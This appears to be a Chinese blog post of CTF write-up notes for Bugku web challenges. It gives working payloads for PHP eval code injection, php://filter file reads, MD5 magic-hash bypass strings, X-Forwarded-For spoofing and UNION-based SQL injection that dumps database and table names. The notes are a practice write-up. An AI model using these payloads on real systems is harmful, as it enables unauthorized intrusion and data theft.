web学习0203day bugku web

                            我要成为web🐕

(1)
f12
view-source:
【Ctrl+u】直接强制查看源代码
在这里插入图片描述(2)

html考点
在这里插入图片描述(3)
get请求

在这里插入图片描述(4)
post请求
在这里插入图片描述(5)
num不是数字又要==1
弱命令 用字符串绕过

在这里插入图片描述(6)
html字符实体化 。html用的是Unicode编码
HTML 中规定了 Character entity references,也就是通常我们说得 html实体字符,一些字符在 HTML 中拥有特殊的含义,比如小于号 (<) 用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。

字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (;)。要在 HTML 文档中显示小于号,我们需要这样写:&lt; 或者 &#60;

计算机里实现字符是通过编码实现的。
有些东西不能直接显示,那它用编码来代替。
HTML特殊字符编码大全:

这些html’转换

在这里插入图片描述unicode在线解码
在这里插入图片描述

(7)
域名解析:
在这里插入图片描述

这道题是要求将flag.baidu.com解析到123.206.87.240。先说一下域名解析的知识:域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

我们知道在Windows系统下有一个hosts文件,这个文件的作用是什么呢,hosts文件的作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。

我们现在来找一下这个hosts文件,这个文件在我们系统中的位置:C:\Windows\System32\drivers\etc\hosts

找到这个文件之后,使用记事本打开,打开之后,在最后一行添加:123.206.87.240 flag.baidu.com,然后保存。
在这里插入图片描述在这里插入图片描述
在这里插入图片描述(8)

你必须让他停下
解题思路

打开链接后,页面一直自动刷新,直接bp抓包

在这里插入图片描述发送到Repeater里,每go一下,发现图片都会变化,这个是随机的,所以多go几次当出现10.jpg时flag就出来了,好像有时候出现10.jpg也没有flag,多go几次就行

(9)

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

payload 可以理解为一系列信息中最为关键的信息。
payload了解

搜了一下@ R E Q U E S T 的 意 思 是 获 得 参 数 , 不 论 是 @ _REQUEST 的意思是获得参数,不论是@ REQUEST@_GET还是@ P O S T 可 以 得 到 的 参 数 @ _POST可以得到的参数@ POST@_REQUEST都能得到。

<1> hello=);print_r(file("flag.php")
<2> hello=);var_dump(file("flag.php")
<3> hello=file("flag.php")
<4> hello=);include(@$_POST['b']
    在POST区域:b=php://filter/convert.base64-encode/resource=flag.php
<5> hello=);include("php://filter/convert.base64-encode/resource=flag.php"
http://120.24.86.145:8003/index.php?hello= 1);print_r(2

上面的代码结合起来就是:

eval( "var_dump(1);print_r(2);"); 

eval( “var_dump(1);print_r(2);”);

这道题就是让你读 flag.php 的内容, 传入的参数为 hello 用 eval 函数把传入的参数当成 php 代码执行, 所以直接传

2.分析eval()函数

字符串当作命令直接执行

eval() 函数存在命令执行漏洞,构造出文件包含会把字符串参数当做代码来执行。
file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
print_r() 函数只用于输出数组。
var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。

直接对hello赋值

http://123.206.87.240:8003/?hello=file('flag.php')

http://123.206.87.240:8003/?hello=file_get_contents('flag.php')
http://123.206.87.240:8003/?hello=show_source(%27flag.php%27)
此外也可以
http://123.206.87.240:8003/index.php?hello=1);show_source(%27flag.php%27);//

“);”:负责把前面的命令闭合掉

“//”:把原来命令的残余部分注释掉

所以格式形式为如下

);the_command_that_you_want_to_execute//

在这里插入图片描述
在这里插入图片描述
(10)

preg_match()是正则表达式匹配的意思,这个是值来匹配一次正则表达式
补充正则表达式

两个//表示开始和结束

> ^表示开始字符串
> 
> $表示结束字符串
> 
> \w表示包含【a-z,A-Z, _ , 0-9】
> 
> +表示一个或者多个\w
> 
> i表示不区分大小写

preg_match(’/^\w{5,16}$/is’, $PassWord )
其中的"^"表示,以这个字符类中字符开头,\w+,表示一个或多个\w,最少一个

你这个{5,16}则是限定范围,
$PassWord 是穿进去的参数,应该是你设置的密码

这个的意思是,$PassWord 的值必须是5-16位的道字符

$$args这个还是值得一说的,一般的变量只有一个$,有两个$$的变量叫做可变变量
$a=b

$b=hhh

echo $$a

这时候会输出hhh

php中有一个神奇的变量叫做$GLOBALS,它是一个数组,里面存放着所有的变量

所以只要构造?args=GLOBALS即可得到flag

$$args=$GLOBALS
#最后输出$GLOBALS,所有变量

在这里插入图片描述(11)
在这里插入图片描述JSFUCK

在这里插入图片描述
关于jjencode 和 aaencode(颜文字)

1.什么是jjencode?

将JS代码转换成只有符号的字符串

2.什么是aaencode?

将JS代码转换成常用的网络表情

3 解密方法

可以直接利用浏览器的控制台输入密文,执行后即可解密。

(12)
头等舱

bp抓包, 发现 flag 就在响应包的头部.在这里插入图片描述(13)

网站被黑

Dirsearch了解
在这里插入图片描述再bp爆破
单个用sniper,两个用cluster bomb
在这里插入图片描述(14)

伪造ip在这里插入图片描述 伪造ip
看到这个就要想到X-Forwarded-For

简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP

伪造一个XFF头,伪装成本地登录
在这里插入图片描述
有一点,要是管理员的话。用户名必须是admin不然跑不出来
在这里插入图片描述在这里插入图片描述(15)

在这里插入图片描述
document.getElementById(“password”)
这个方法是通过元素ID来获取元素属性的,这里有一些说明,以及使用方法。添加链接描述

unescape() 函数可对通过 escape() 编码的字符串进行解码。
讲解

<script type="text/javascript">

var test1="Visit W3School!"

test1=escape(test1)
document.write (test1 + "<br />")

test1=unescape(test1)
document.write(test1 + "<br />")

</script>
Visit%20W3School%21
Visit W3School!

所有这个题最后就变成字符串拼接了
在这里插入图片描述(16)
本地文件包含漏洞+php伪协议的结合应用
个人理解是当前端语言把php语言解析了,显示不出来。可以用php://filter这个协议,把PHP的源码转成base64,显示出来。所有是有漏洞的。

php协议在这里插入图片描述 大佬博客

大佬讲解php://filter流
这道题目里有经典的本地文件包含漏洞+php伪协议的结合应用
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
在这里插入图片描述
在这里插入图片描述(17)
bp爆破

在这里插入图片描述在这里插入图片描述在这里插入图片描述
(18)
本题要点:控制台js、传参
在这里插入图片描述
在这里插入图片描述 当clicks>=1000000时发起submit,返回得到flag,题目得解。

方法一:

直接F12,选择控制台,然后输入clicks=1000000,然后回车,再点击一下网站那个图案,发现得到了flag。

方法二:
进行post响应 clicks=1000000

(19)
文件备份
在这里插入图片描述在这里插入图片描述在这里插入图片描述PHP strstr() 函数
查找 “world” 在 “Hello world!” 中是否存在,如果是,返回该字符串及后面剩余部分:

<?php
echo strstr("Hello world!","world");  // 输出 world!
?>

substr() 函数返回字符串的一部分。
substr(string,start,length)
把字符串 “Hello world!” 中的字符 “world” 替换为 “Shanghai”:

<?php
echo str_replace("world","Shanghai","Hello world!");
?>

一番分析,大概就是,会获得输入url中?开始后的字符串,然后去掉?,并且字符串中的key字符被替换成空,然后比较key1和key2的MD5值和两个变量的值,也就是当他们md5值相同,但本身字符串不同就可以得到flag。key1和key2变量和值都是用户在url中输入的。

有两种方法绕过:

1,md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

在这里插入图片描述

2,利用==比较漏洞

如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

下列的字符串的MD5值都是0e开头的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
(20)

SQL注入
看到表单类型,我们应该想到sql注入
在这里插入图片描述1.order by确定列数
1’ order by 5#没反应
1’ order by 4#有反应
那说明当前表只有4个字段并且只有4列。

2.联合查询,测试字段显示的顺序以及那些会回显,输入0’ union select 1,2,3,4#
union select解释

此题大佬做法
这里说一下为什么前面要用0,这道题只会显示一行,如果用1的话,会显示龙龙的成绩,这里只会显示一行,所以要让第一行不显示,直接用0。(除0以外其他数字也可以,如-1)
在这里插入图片描述3.暴库名 id = 0’ union select 1,database(),user(),version()#
在这里插入图片描述 得到数据库名字
4.暴数据库里的表名 id=0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=‘skctf_flag’#

在这里插入图片描述 5.暴表里的字段名
在这里插入图片描述6读取数据
在这里插入图片描述如何从表中查询一个字端的数据:
select 字段名 from 表名;
sql语句之form子句
(21)

后续。。。。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值